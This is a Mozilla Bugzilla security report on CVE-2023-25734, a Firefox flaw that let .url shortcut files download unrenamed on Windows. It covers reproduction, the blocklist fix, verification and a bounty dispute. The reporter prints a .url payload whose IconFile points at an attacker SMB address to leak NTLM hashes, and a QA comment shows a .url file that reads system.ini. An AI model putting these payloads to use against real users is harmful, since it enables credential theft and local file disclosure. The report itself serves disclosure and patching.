Closed Bug 1809923 (CVE-2023-25734) Opened 1 year ago Closed 1 year ago

.url extension Download leads to Arbitrary File Read

Categories

(Firefox :: File Handling, defect, P1)

Desktop
Windows
defect

Tracking

()

VERIFIED FIXED
111 Branch
Tracking Status
firefox-esr102 110+ verified
firefox109 --- wontfix
firefox110 + verified
firefox111 + verified

People

(Reporter: ameenbasha111, Assigned: enndeakin)

References

Details

(Keywords: csectype-disclosure, sec-moderate, sec-vector, Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main110+][adv-esr102.8+])

Attachments

(7 files, 2 obsolete files)

Chromium Bug Reference: https://bugs.chromium.org/p/chromium/issues/detail?id=1307930

While visiting a webpage if the download initiate for .lnk/ .local these file types are changed to .download by firefox. But i have found a way to download .url File while lead to Arbitrary File Read

Note: .local/ .lnk are already restricted and .url is missed

We can use Blob Method with type text to download the .url file without changing it to .download

FIREFOX VERSION : 108.0.2 (64-bit)

REPRODUCTION CASE:

.Url Download POC

  1. Open the Below Attached HTML
  2. You can See the .Url file Downloaded

.Url Download Arbitrary File Read POC

  1. Open the Below Same Attached HTML
  2. You can See the .URL File Downloaded
  3. Upload the same file in the Upload Button
  4. You can See the content of system.ini file

I have also attached the POC Video for your reference

Flags: sec-bounty?

Downloading .lnk and .local extension are already prevented.

When we download a file named abc.lnk it will be changed to abc.lnk.download

.lnk / .local / .url are considered as dangerous extension in windows which have the ability to invoke executable(.lnk)/ read files(.url)/ hijack the dependencies(.local)

Duplicate of this bug: 1810143

Neil, given your work on bug 1773894, can you take a look?

Component: Security → File Handling
Flags: needinfo?(enndeakin)
Hardware: Unspecified → Desktop

Is it sufficient to just add .url to the same blocklist as .lnk and .local ?

Flags: needinfo?(enndeakin)

(In reply to Neil Deakin from comment #9)

Is it sufficient to just add .url to the same blocklist as .lnk and .local ?

I hope so? I haven't attempted to use the testcase here - it would need some verification. But that's what I expect.

Attached file poc data uri.html

I would like to report an alternative method for downloading .url file. The POC provided here utilizes the data URI method instead of Blob, which enables the download of .url files without any filter. I hope this will provide additional information for resolving the issue.

Assignee: nobody → enndeakin
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
See Also: → 1810793
Severity: -- → S3
Priority: -- → P1
Duplicate of this bug: 1812338

Looks like this doesn't have a sec rating, going to copy the one from bug 1773894, given this is effectively the same issue but for a different file extension.

Neil, is this ready to land?

Flags: needinfo?(enndeakin)

Perhaps add .SCF as well? See Bug 1812354

See Also: → CVE-2023-25740

HI Guys, This issue has much more impact with no user interaction

i have explored few more things and found we can get the Victim NTLM Hash without any user interaction just by visiting a website.

I have attached the POC Video and files used in the POC

Steps To Reproduce (Not u can use any other method too. The .url file content is important)

  1. Extract the Zip to some separate folder
  2. Run the flaskServer by running
    eg: python flaskServer.py
    Note: This will make the python Server Up with serving NTLMLeaker url file in /download location
  3. Run any NTLM Hash catcher. and note down the IP. use the IP in your .url file which is server under /download location
  4. Open the HTML File. Boom You can find your NTLM Hash is leaked to Attacker

Since it critical can we increase the severity of this issue and quick up the release

Also [Issue]https://bugzilla.mozilla.org/show_bug.cgi?id=1810793 is having the similar impact can we guys quick the fix on there too.

.url file content for NTLM leak which is used in the POC
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\192.168.0.114%USERNAME%.icon
IconIndex=1

Attached file NtlmLeaker.zip

(In reply to Ameen from comment #17)

HI Guys, This issue has much more impact with no user interaction

This was exactly what bug 1773894 was, so I don't see why this should be higher severity. https://bugs.chromium.org/p/chromium/issues/detail?id=722524#c11 also suggests that this doesn't actually affect most Windows users.

This was exactly what bug 1773894 was, so I don't see why this should be higher severity.

Hi yes the impact is same. But i just found out that the same is achievable via .url file too without any interaction.

Also in some blogs i have seen that .lnk ntlm hash leak was fixed by windows to load it from internal resource alone

So this method will be worked in latest version of windows and firefox. Hope you have checked my poc video too

https://bugs.chromium.org/p/chromium/issues/detail?id=722524#c11 also suggests that this doesn't actually affect most Windows users.

There is some misunderstanding here. The file which is mentioned here is .url but the reference which you shared is .scf file. yes in recent version of windows ntlm leak via scf is not possible. but the one which i shared poc is for .url which is still vulnerable in windows. So it will affect all window users.

In latest version of Windows, hash leak via scf is still possible (tested via Windows 10 Version 21H2 (Build 19044.2486))(In reply to Ameen from comment #21)

This was exactly what bug 1773894 was, so I don't see why this should be higher severity.

Hi yes the impact is same. But i just found out that the same is achievable via .url file too without any interaction.

Also in some blogs i have seen that .lnk ntlm hash leak was fixed by windows to load it from internal resource alone

So this method will be worked in latest version of windows and firefox. Hope you have checked my poc video too

https://bugs.chromium.org/p/chromium/issues/detail?id=722524#c11 also suggests that this doesn't actually affect most Windows users.

There is some misunderstanding here. The file which is mentioned here is .url but the reference which you shared is .scf file. yes in recent In recent version of windows ntlm leak via scf is not possible. but the one which i shared poc is for .url which is still vulnerable in windows. So it will affect all window users.

In recent version of windows, it is still possible to leak hashes via .scf files, tested on Windows 10 Version 21H2 (Build 19044.2486)

Attached file Bug 1809923, r=gijs

Hi haxatron1. Thanks for the info. i have mentioned that point since Gijs said this doesn't actually affect most windows users.

If it is still vulnerable. Then more number of People were vulnerable. But this doesn't fall in my case since i reports on .url and it is vulnerable on all windows user for NTML hash leak

Also can you share some information and sample on how scf can still vulnerable in latest windows. bcz in some blogs i found as it was fixed by windows.

The payload at https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ still works on my windows (don't want paste the payload here so as to not clutter this bug report any further). And my windows has the latest update for the 21H2 version. Maybe it does not reproduce on the 22H2 version (I haven't checked) but 21H2 is not end-of-life yet.

(In reply to haxatron1 from comment #25)

The payload at https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ still works on my windows (don't want paste the payload here so as to not clutter this bug report any further). And my windows has the latest update for the 21H2 version. Maybe it does not reproduce on the 22H2 version (I haven't checked) but 21H2 is not end-of-life yet.

*The backslash should be changed to forward slash otherwise the reproduction will not work for .scf files.

Thanks for the update haxatron1.

Flags: needinfo?(enndeakin)
Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 1 year ago
Resolution: --- → FIXED
Target Milestone: --- → 111 Branch

Hi team, It looks like the issue is fixed and closed.

This is my first time reporting to firefox. can i get some information on how the bounty process will be and how much the bounty is.

Thanks

(In reply to :Gijs (he/him) from comment #15)

Looks like this doesn't have a sec rating, going to copy the one from bug 1773894, given this is effectively the same issue but for a different file extension.

Gijs i hope the severity is higher than the .lnk issue.
Reasons:

  1. In my issue without user interaction it will leak the NTLM Hash just by visiting a website
  2. It has impact of arbitrary file read too

Kindly revisit the severity to high.

Please nominate this for Beta and ESR approval when you get a chance.

Flags: needinfo?(enndeakin)

Comment on attachment 9314286 [details]
Bug 1809923, r=gijs

Beta/Release Uplift Approval Request

  • User impact if declined: Files with certain extensions on Windows are handled as shortcuts and can point to local files which the user can open.
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: Yes
  • If yes, steps to reproduce: Automated tests have not yet landed.
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Just adds additional extensions to the existing list.
  • String changes made/needed: None
  • Is Android affected?: No

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: Very low risk change that adds additional dangerous extensions to the existing list.
  • User impact if declined: Files with certain extensions on Windows are handled as shortcuts and can point to local files which the user can open.
  • Fix Landed on Version: 111
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Just adds additional extensions to the existing list.
Flags: needinfo?(enndeakin)
Attachment #9314286 - Flags: approval-mozilla-esr102?
Attachment #9314286 - Flags: approval-mozilla-beta?

Comment on attachment 9314286 [details]
Bug 1809923, r=gijs

Approved for 110 beta 8, thanks.

Attachment #9314286 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Hi team can i get to know how the bounty process will be?

Congratulations, we have awarded a bug bounty for this issue. The award is split with bug 1810143 which is a duplicate submission filed within the "collision window" defined in our bug bounty policy.

Flags: sec-bounty? → sec-bounty+

Daniel Veditz@ I have provided your team the issue details from start with detailed POC details each time. along with more impact details by more analysis from my side.

i didn't find it as fair to split the bounty. since i spend major of my time in this issue for multiple analysis.

Kindly Re-Asses and increase my bounty part. Waiting for your update

Also from my analysis i have found that this will leak the user ntlm hash with just by visiting a website (0-click)

Considering this all. The impact is more and the bounty will be higher than the one awarded to me.

Comment on attachment 9314286 [details]
Bug 1809923, r=gijs

Approved for ESR 102.8.0, thanks.

Attachment #9314286 - Flags: approval-mozilla-esr102? → approval-mozilla-esr102+
See Also: → 1784451
Flags: qe-verify+

I have used the following steps to reproduce:

  1. load the test case https://bugzilla.mozilla.org/attachment.cgi?id=9312000
  2. (necessary to log into Bugzilla)
  3. when the test loads check the downloads panel
  • Affected build result 1: A file named "example.url" is downloaded automatically
  • Fixed build result 1: A file named "example.url.download" is downloaded automatically
  1. Browse and load the same file into the test page.
  • Affected build result 2: "system.ini" is displayed at the right of the "Browse" button.

    ; for 16-bit app support
    [386Enh]
    woafont=dosapp.fon
    EGA80WOA.FON=EGA80WOA.FON
    EGA40WOA.FON=EGA40WOA.FON
    CGA80WOA.FON=CGA80WOA.FON
    CGA40WOA.FON=CGA40WOA.FON

    [drivers]
    wave=mmdrv.dll
    timer=timer.drv

    [mci]

  • Fixed build result 2: "example.url.download" is displayed at the right of the "Browse" button.

    [{000214A0-0000-0000-C000-000000000046}]
    Prop3=19,2
    [InternetShortcut]
    IDList=
    URL=file://C:/Windows/system.ini
    HotKey=0

With these steps, I've reproduced the issue in Release v109.0.1 and Verified the fix in Nightly v111.0a1 from 2022.02.07 and Beta v110.0 (RC).
There is no build to test ESR v102.8.0esr just yet, not even in treeherder.

Important to note that this issue does not seem to be reproducing in non-Windows systems as it is a windows-only vulnerability/hack.

Neal, can you confirm that the right steps were used to verify this fix? Also that this is a Windows-only vulnerability/fix? Thanks!

Flags: needinfo?(enndeakin)
OS: Unspecified → Windows

I have also verified the fix of ESR v102.8.0esr on Windows 10. Still waiting on confirmation that the correct steps to reproduce were used.

Status: RESOLVED → VERIFIED
Duplicate of this bug: 1784451
See Also: → CVE-2023-29541
Attached file advisory.txt
Attachment #9317090 - Attachment is obsolete: true
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][adv-main110+]
Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main110+] → [reporter-external] [client-bounty-form] [verif?][adv-main110+][adv-esr102.8+]

Hi Team, Can i get the CVE ID Details Registered for this issue.

Alias: CVE-2023-25734
Flags: needinfo?(enndeakin)
Flags: qe-verify+
See Also: → 1819760
Blocks: 1824468
Attachment #9312610 - Attachment is obsolete: true
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: